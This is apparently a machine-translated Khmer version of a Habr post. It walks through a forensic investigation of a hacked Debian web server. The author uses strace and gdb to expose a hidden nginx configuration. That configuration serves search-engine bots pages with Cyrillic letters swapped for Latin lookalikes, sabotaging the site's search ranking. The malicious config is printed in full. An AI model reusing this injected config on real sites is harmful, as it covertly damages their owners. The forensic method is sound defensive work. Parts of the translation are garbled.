នៅពេលដែល 'a' មិនស្មើនឹង 'a' ។ បន្ទាប់ពីការ hack មួយ។

រឿង​មិន​សប្បាយ​ចិត្ត​បំផុត​បាន​កើត​ឡើង​ចំពោះ​មិត្ត​ភក្តិ​របស់​ខ្ញុំ​ម្នាក់។ ប៉ុន្តែដូចជាមិនសប្បាយចិត្តដូចដែលវាបានប្រែក្លាយសម្រាប់ Mikhail វាគ្រាន់តែជាការកម្សាន្តសម្រាប់ខ្ញុំ។

ខ្ញុំត្រូវតែនិយាយថាមិត្តរបស់ខ្ញុំគឺល្អណាស់ យូនីក។-user: អាចដំឡើងប្រព័ន្ធខ្លួនឯងបាន។ កម្មវិធី MySQL, កម្មវិធី PHP និងបង្កើតការកំណត់សាមញ្ញ nginx.
ហើយគាត់មានគេហទំព័ររាប់សិប ឬមួយកន្លះ ដែលឧទ្ទិសដល់ឧបករណ៍សំណង់។

គេហទំព័រមួយក្នុងចំណោមគេហទំព័រទាំងនេះដែលឧទ្ទិសដល់ sawsaws ស្ថិតនៅយ៉ាងរឹងមាំនៅក្នុង TOP នៃម៉ាស៊ីនស្វែងរក។ គេហទំព័រ​នេះ​គឺ​ជា​អ្នក​ពិនិត្យ​មើល​មិន​មែន​ពាណិជ្ជកម្ម ប៉ុន្តែ​មាន​នរណា​ម្នាក់​ចូល​ទៅ​ក្នុង​ទម្លាប់​នៃ​ការ​វាយ​ប្រហារ​វា​។ នោះ។ DDoSបន្ទាប់មកកម្លាំងសាហាវ បន្ទាប់មកពួកគេសរសេរមតិអាសអាភាស ហើយផ្ញើការបំពានទៅកាន់អ្នកបង្ហោះ និងទៅ RKN ។
រំពេចនោះ អ្វីៗបានស្ងប់ទៅវិញ ហើយភាពស្ងប់ស្ងាត់នេះបានប្រែទៅជាមិនល្អ ហើយគេហទំព័រនេះបានចាប់ផ្តើមបន្តិចម្តង ៗ ចាកចេញពីបន្ទាត់កំពូលនៃលទ្ធផលស្វែងរក។

នេះ​ជា​ការ​លើក​ឡើង​របស់​ Admin ផ្ទាល់។

ជិត​ដល់​ម៉ោង​ចូល​គេង​ហើយ​ពេល​ទូរសព្ទ​បន្លឺ​ឡើង៖ “សាន ឯង​មិន​មើល​ម៉ាស៊ីន​បម្រើ​ខ្ញុំ​ទេ? វាហាក់ដូចជាខ្ញុំថាខ្ញុំត្រូវបានគេលួចចូល ខ្ញុំមិនអាចបង្ហាញវាបានទេ ប៉ុន្តែអារម្មណ៍មិនបានចាកចេញពីខ្ញុំសម្រាប់សប្តាហ៍ទីបីនោះទេ។ ប្រហែល​ជា​ដល់​ពេល​ហើយ​សម្រាប់​ខ្ញុំ​ដើម្បី​ទទួល​បាន​ការ​ព្យាបាល​ជំងឺ​ឆ្កួត​ជ្រូក?

អ្វី​ដែល​បន្ទាប់​មក​គឺ​ការ​ពិភាក្សា​រយៈពេល​កន្លះ​ម៉ោង​ដែល​អាច​សង្ខេប​ដូច​ខាង​ក្រោម៖

• ដីសម្រាប់ការលួចចូលមានជីជាតិណាស់។
• អ្នកវាយប្រហារអាចទទួលបានសិទ្ធិអ្នកប្រើប្រាស់ជាន់ខ្ពស់។
• ការវាយប្រហារ (ប្រសិនបើវាបានកើតឡើង) ត្រូវបានកំណត់គោលដៅជាពិសេសនៅកន្លែងនេះ;
• តំបន់បញ្ហាត្រូវបានកែតម្រូវ ហើយអ្នកគ្រាន់តែត្រូវយល់ថាតើមានការជ្រៀតចូលឬអត់។
• ការ hack មិនអាចប៉ះពាល់ដល់កូដគេហទំព័រ និងមូលដ្ឋានទិន្នន័យទេ។

ទាក់ទងនឹងចំណុចចុងក្រោយ។

មានតែ IP frontend ពណ៌សប៉ុណ្ណោះដែលមើលទៅលើពិភពលោក។ មិនមានការផ្លាស់ប្តូររវាង backends និង frontend ទេ លើកលែងតែ http(s) អ្នកប្រើប្រាស់/passwords ខុសគ្នា គ្មាន keys ត្រូវបានផ្លាស់ប្តូរទេ។ នៅលើអាសយដ្ឋានពណ៌ប្រផេះ ច្រកទាំងអស់លើកលែងតែ 80/443 ត្រូវបានបិទ។ IP backend ពណ៌សត្រូវបានគេស្គាល់តែចំពោះអ្នកប្រើប្រាស់ពីរនាក់ដែល Mikhail ជឿជាក់ទាំងស្រុង។

បានដំឡើងនៅផ្នែកខាងមុខ Debian 9 ហើយនៅពេលដែលការហៅទូរស័ព្ទត្រូវបានបង្កើតឡើង ប្រព័ន្ធនេះត្រូវបានដាច់ឆ្ងាយពីពិភពលោកដោយជញ្ជាំងភ្លើងខាងក្រៅ ហើយបានបញ្ឈប់។

“យល់ព្រម អនុញ្ញាតឱ្យខ្ញុំចូលប្រើ” ខ្ញុំសម្រេចចិត្តបិទដំណេករយៈពេលមួយម៉ោង។ "ខ្ញុំនឹងឃើញដោយផ្ទាល់ភ្នែក" ។

នៅទីនេះ និងច្រើនទៀត៖

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

កំពុងស្វែងរកការ hack ដែលអាចកើតមាន

ខ្ញុំចាប់ផ្តើមម៉ាស៊ីនមេ ជាដំបូងនៅក្នុង របៀបសង្គ្រោះ. ខ្ញុំ​ដាក់​ថាស​ហើយ​ត្រឡប់​មក​វិញ។ សិទ្ធិ-កំណត់ហេតុ, ប្រវត្តិសាស្រ្តកំណត់ហេតុប្រព័ន្ធ ។ល។ ប្រសិនបើអាចធ្វើបាន ខ្ញុំពិនិត្យមើលកាលបរិច្ឆេទនៃការបង្កើតឯកសារ ទោះបីជាខ្ញុំយល់ថា នំកែកឃឺធម្មតានឹង "ឡើង" បន្ទាប់ពីខ្លួនគាត់ក៏ដោយ ហើយ Misha បាន "ជាន់ឈ្លី" ច្រើនរួចទៅហើយ ខណៈពេលដែលគាត់កំពុងស្វែងរកខ្លួនឯង។ .

ខ្ញុំចាប់ផ្តើមក្នុងរបៀបធម្មតា មិនទាន់យល់ពីអ្វីដែលត្រូវរកមើល ខ្ញុំសិក្សាការកំណត់។ ដំបូងខ្ញុំចាប់អារម្មណ៍ nginx ចាប់តាំងពី ជាទូទៅ គ្មានអ្វីផ្សេងទៀតនៅលើផ្នែកខាងមុខទេ លើកលែងតែវា។
ការ​កំណត់​រចនាសម្ព័ន្ធ​មាន​ទំហំ​តូច មាន​រចនាសម្ព័ន្ធ​ល្អ​ជា​ឯកសារ​រាប់​សិប ខ្ញុំ​គ្រាន់​តែ​មើល​តាម​ពួក​វា​ប៉ុណ្ណោះ។ ឆ្មា'អូម្តងមួយៗ។ អ្វីៗហាក់ដូចជាស្អាតស្អំ ប៉ុន្តែអ្នកមិនដឹងថាខ្ញុំខកខានអ្វីនោះទេ។ រួមបញ្ចូលទាំងអនុញ្ញាតឱ្យខ្ញុំធ្វើបញ្ជីពេញលេញ:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

ខ្ញុំមិនយល់ទេ៖ "តើបញ្ជីឈ្មោះនៅឯណា?"

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

សំណួរទីពីរត្រូវបានបន្ថែមទៅសំណួរចុះបញ្ជី: "ហេតុអ្វីបានជាកំណែបុរាណនៃ nginx បែបនេះ?"

លើសពីនេះទៀតប្រព័ន្ធជឿជាក់ថាកំណែចុងក្រោយបំផុតត្រូវបានដំឡើង:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

ខ្ញុំកំពុងហៅ៖
- Misha ហេតុអ្វីបានជាអ្នកប្រមូលផ្តុំឡើងវិញ nginx?
- ចាំខ្ញុំមិនដឹងធ្វើយ៉ាងម៉េច!
- អូខេ គេងទៅ...

Nginx វា​ត្រូវ​បាន​គេ​បង្កើត​ឡើង​វិញ​យ៉ាង​ច្បាស់ ហើយ​លទ្ធផល​នៃ​ការ​ចុះ​បញ្ជី​ដោយ​ប្រើ “-T” ត្រូវ​បាន​លាក់​ដោយ​ហេតុផល។ មិនមានការសង្ស័យទៀតទេអំពីការលួចចូល ហើយអ្នកអាចទទួលយកវាដោយសាមញ្ញ ហើយ (ចាប់តាំងពី Misha បានជំនួសម៉ាស៊ីនមេដោយថ្មីមួយ) ពិចារណាបញ្ហាត្រូវបានដោះស្រាយ។

ហើយជាការពិតណាស់ ចាប់តាំងពីនរណាម្នាក់បានទទួលសិទ្ធិ ជា root'អា បន្ទាប់មកវាសមហេតុផលក្នុងការធ្វើ ដំឡើងប្រព័ន្ធឡើងវិញហើយវាគ្មានប្រយោជន៍ទេក្នុងការរកមើលអ្វីដែលខុសនៅទីនោះ ប៉ុន្តែលើកនេះការចង់ដឹងចង់ឃើញបានយកឈ្នះការគេង។ តើយើងអាចរកឃើញអ្វីដែលពួកគេចង់លាក់ពីយើងដោយរបៀបណា?

តោះព្យាយាមតាមដាន៖

$ strace nginx -T

យើងមើលទៅវាច្បាស់ណាស់ថាមិនមានបន្ទាត់គ្រប់គ្រាន់នៅក្នុង trace a la

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

គ្រាន់​តែ​ជា​ការ​លេង​សើច សូម​ប្រៀបធៀប​ការ​រក​ឃើញ។

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

ខ្ញុំគិតថាជាផ្នែកមួយនៃកូដ /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

ត្រូវបាននាំយកទៅទម្រង់:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

ឬ

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

ដូច្នេះការចុះបញ្ជីដោយ "-T" មិនត្រូវបានបង្ហាញទេ។

ប៉ុន្តែតើយើងអាចមើលការកំណត់របស់យើងដោយរបៀបណា?

ប្រសិនបើគំនិតរបស់ខ្ញុំត្រឹមត្រូវ ហើយបញ្ហាគឺមានតែនៅក្នុងអថេរប៉ុណ្ណោះ។ ngx_dump_config តោះព្យាយាមដំឡើងវាដោយប្រើ gdbជាសំណាងល្អមានកូនសោមួយ។ --with-cc-opt -g បច្ចុប្បន្ន ហើយសង្ឃឹមថាការបង្កើនប្រសិទ្ធភាពនោះ។ -O2 វានឹងមិនធ្វើឱ្យយើងឈឺចាប់ទេ។ ទន្ទឹម​នឹង​នេះ ខ្ញុំ​មិន​ដឹង​យ៉ាង​ម៉េច​ទេ។ ngx_dump_config អាចត្រូវបានដំណើរការនៅក្នុង ករណី 'T':យើងនឹងមិនហៅប្លុកនេះទេ ប៉ុន្តែដំឡើងវាដោយប្រើ ករណី 't':

ហេតុអ្វីបានជាអ្នកអាចប្រើ '-t' ក៏ដូចជា '-T'ដំណើរការទប់ស្កាត់ ប្រសិនបើ (ngx_dump_config) កើតឡើងនៅខាងក្នុង ប្រសិនបើ (ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

ជាការពិតណាស់ប្រសិនបើលេខកូដត្រូវបានផ្លាស់ប្តូរនៅក្នុងផ្នែកនេះនិងមិននៅក្នុង ករណី 'T':បន្ទាប់មកវិធីសាស្ត្ររបស់ខ្ញុំនឹងមិនដំណើរការទេ។

សាកល្បង nginx.confដោយបានដោះស្រាយបញ្ហាដោយពិសោធន៍រួចហើយ វាត្រូវបានបង្កើតឡើងថាការកំណត់រចនាសម្ព័ន្ធអប្បបរមាគឺត្រូវបានទាមទារសម្រាប់មេរោគដំណើរការ nginx ប្រភេទ៖

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

យើងនឹងប្រើវាសម្រាប់សង្ខេបនៅក្នុងអត្ថបទ។

បើកដំណើរការកម្មវិធីបំបាត់កំហុស

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

ម្តង​មួយ​ជំហាន:

• កំណត់ចំណុចឈប់នៅក្នុងមុខងារ មេ ()
• បើកដំណើរការកម្មវិធី
• ផ្លាស់ប្តូរតម្លៃនៃអថេរដែលកំណត់លទ្ធផលនៃការកំណត់ ngx_dump_config=1
• បន្ត / បញ្ចប់កម្មវិធី

ដូចដែលយើងអាចមើលឃើញ ការកំណត់ពិតប្រាកដខុសពីរបស់យើង យើងជ្រើសរើសបំណែកប៉ារ៉ាស៊ីតពីវា៖

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

សូមក្រឡេកមើលអ្វីដែលកំពុងកើតឡើងនៅទីនេះតាមលំដាប់លំដោយ។

កំណត់ ភ្នាក់ងារអ្នកប្រើប្រាស់។របស់ yandex/google៖

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

ទំព័រសេវាកម្មត្រូវបានដកចេញ ប្លក, រូបភាព:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

ហើយសម្រាប់អ្នកដែលធ្លាក់ក្រោមលក្ខខណ្ឌទាំងពីរខាងលើ

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

នៅក្នុងអត្ថបទ html- ការផ្លាស់ប្តូរទំព័រ 'អូ' នៅលើ 'o' и 'A' នៅលើ 'a':

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

ជាការត្រឹមត្រូវ ភាពទន់ភ្លន់តែមួយគត់គឺថា 'a' != 'a' ក៏ដូចជា 'o' != 'o':

ដូច្នេះ ម៉ាស៊ីនស្វែងរក bots ទទួលបាន ជំនួសឱ្យអត្ថបទ Cyrillic ធម្មតា 100% សំរាមដែលបានកែប្រែ diluted ជាមួយឡាតាំង 'a' и 'o'. ខ្ញុំមិនហ៊ានពិភាក្សាអំពីរបៀបដែលវាប៉ះពាល់ដល់ SEO នោះទេ ប៉ុន្តែវាមិនទំនងដែលថាការលោតអក្សរបែបនេះនឹងមានឥទ្ធិពលវិជ្ជមានទៅលើមុខតំណែងនៅក្នុងលទ្ធផលស្វែងរកនោះទេ។

តើខ្ញុំអាចនិយាយអ្វីបានបុរសដែលមានការស្រមើលស្រមៃ។

សេចក្តីយោង

ការបំបាត់កំហុសជាមួយ GDB
gdb(1) — ទំព័របុរសលីនុច
ផ្លូវ (1) — ទំព័របុរសលីនុច
Nginx - ម៉ូឌុល ngx_http_sub_module
អំពី saws, chainsaws និង saws អគ្គិសនី

ប្រភព: www.habr.com